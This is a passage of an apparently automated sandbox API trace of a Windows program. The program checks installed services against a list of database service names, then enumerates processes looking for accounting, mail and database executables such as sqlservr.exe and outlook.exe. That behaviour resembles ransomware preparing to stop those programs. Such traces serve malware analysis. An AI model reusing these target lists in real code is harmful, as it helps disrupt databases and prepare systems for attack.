(lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0205.969] lstrlenW (lpString="EventSystem") returned 11 [0205.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0205.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0205.969] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0205.969] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0205.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0205.969] lstrlenW (lpString="FontCache") returned 9 [0205.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0205.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0205.969] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0205.969] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0205.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0205.969] lstrlenW (lpString="gpsvc") returned 5 [0205.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0205.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0205.969] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0205.969] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0205.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0205.969] lstrlenW (lpString="iphlpsvc") returned 8 [0205.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0205.970] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0205.970] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0205.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0205.970] lstrlenW (lpString="LanmanServer") returned 12 [0205.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0205.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0205.970] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0205.970] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0205.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0205.970] lstrlenW (lpString="LanmanWorkstation") returned 17 [0205.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0205.970] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0205.970] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0205.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0205.970] lstrlenW (lpString="lmhosts") returned 7 [0205.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0205.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0205.970] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0205.970] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0205.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0205.970] lstrlenW (lpString="MMCSS") returned 5 [0205.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0205.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0205.970] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0205.970] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0205.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0205.970] lstrlenW (lpString="MpsSvc") returned 6 [0205.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0205.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0205.971] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0205.971] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0205.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0205.971] lstrlenW (lpString="Netman") returned 6 [0205.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0205.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0205.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0205.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0205.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0205.971] lstrlenW (lpString="netprofm") returned 8 [0205.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0205.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0205.971] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0205.971] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0205.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0205.971] lstrlenW (lpString="NlaSvc") returned 6 [0205.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0205.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0205.971] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0205.971] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0205.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0205.971] lstrlenW (lpString="nsi") returned 3 [0205.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0205.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0205.971] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0205.971] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0205.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0205.971] lstrlenW (lpString="PcaSvc") returned 6 [0205.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0205.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0205.972] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0205.972] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0205.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0205.972] lstrlenW (lpString="PlugPlay") returned 8 [0205.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0205.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0205.972] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0205.972] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0205.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0205.972] lstrlenW (lpString="Power") returned 5 [0205.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0205.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0205.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0205.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0205.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0205.972] lstrlenW (lpString="ProfSvc") returned 7 [0205.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0205.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0205.972] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0205.972] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0205.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0205.973] lstrlenW (lpString="RpcEptMapper") returned 12 [0205.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0205.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0205.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0205.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0205.973] lstrlenW (lpString="RpcSs") returned 5 [0205.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0205.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0205.973] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0205.973] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0205.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0205.973] lstrlenW (lpString="SamSs") returned 5 [0205.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0205.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0205.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0205.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0205.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0205.973] lstrlenW (lpString="Schedule") returned 8 [0205.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0205.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0205.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0205.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0205.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0205.973] lstrlenW (lpString="SENS") returned 4 [0205.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0205.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0205.973] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0205.973] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0205.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0205.973] lstrlenW (lpString="ShellHWDetection") returned 16 [0205.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0205.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0205.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0205.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0205.974] lstrlenW (lpString="Spooler") returned 7 [0205.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0205.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0205.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0205.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0205.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0205.974] lstrlenW (lpString="sppsvc") returned 6 [0205.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0205.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0205.974] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0205.974] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0205.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0205.974] lstrlenW (lpString="SysMain") returned 7 [0205.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0205.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0205.974] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0205.974] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0205.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0205.974] lstrlenW (lpString="Themes") returned 6 [0205.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0205.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0205.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0205.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0205.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0205.974] lstrlenW (lpString="TrkWks") returned 6 [0205.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0205.975] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0205.975] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0205.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0205.975] lstrlenW (lpString="UxSms") returned 5 [0205.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0205.975] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0205.975] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0205.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0205.975] lstrlenW (lpString="WdiServiceHost") returned 14 [0205.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0205.975] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0205.975] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0205.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0205.975] lstrlenW (lpString="WdiSystemHost") returned 13 [0205.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0205.975] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0205.975] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0205.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0205.975] lstrlenW (lpString="WinDefend") returned 9 [0205.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0205.975] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0205.975] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0205.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0205.975] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0205.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0205.975] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0205.975] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0205.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0205.975] lstrlenW (lpString="Winmgmt") returned 7 [0205.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0205.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0205.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0205.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0205.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0205.976] lstrlenW (lpString="wscsvc") returned 6 [0205.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0205.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0205.976] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0205.976] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0205.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0205.976] lstrlenW (lpString="wuauserv") returned 8 [0205.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0205.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0205.976] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0205.976] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0205.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0205.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0205.976] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b0 [0205.978] Process32FirstW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0205.979] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0205.980] lstrlenW (lpString="System") returned 6 [0205.980] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0205.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0205.980] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0205.980] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0205.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0205.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0205.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0205.980] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0205.981] lstrlenW (lpString="smss.exe") returned 8 [0205.981] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0205.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0205.981] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0205.981] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0205.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0205.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0205.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0205.981] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.982] lstrlenW (lpString="csrss.exe") returned 9 [0205.982] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0205.983] lstrlenW (lpString="wininit.exe") returned 11 [0205.983] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0205.983] lstrlenW (lpString="csrss.exe") returned 9 [0205.983] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0205.984] lstrlenW (lpString="winlogon.exe") returned 12 [0205.984] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0205.985] lstrlenW (lpString="services.exe") returned 12 [0205.985] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0205.986] lstrlenW (lpString="lsass.exe") returned 9 [0205.986] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0205.987] lstrlenW (lpString="lsm.exe") returned 7 [0205.987] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.987] lstrlenW (lpString="svchost.exe") returned 11 [0205.987] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.988] lstrlenW (lpString="svchost.exe") returned 11 [0205.988] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.989] lstrlenW (lpString="svchost.exe") returned 11 [0205.989] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.990] lstrlenW (lpString="svchost.exe") returned 11 [0205.990] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.990] lstrlenW (lpString="svchost.exe") returned 11 [0205.990] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0205.991] lstrlenW (lpString="audiodg.exe") returned 11 [0205.991] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.992] lstrlenW (lpString="svchost.exe") returned 11 [0205.992] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0205.993] lstrlenW (lpString="svchost.exe") returned 11 [0205.993] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0205.994] lstrlenW (lpString="dwm.exe") returned 7 [0205.994] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0205.995] lstrlenW (lpString="explorer.exe") returned 12 [0205.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0205.995] lstrlenW (lpString="spoolsv.exe") returned 11 [0205.995] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0205.996] lstrlenW (lpString="taskhost.exe") returned 12 [0205.996] Process32NextW (in: hSnapshot=0x1b0, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, 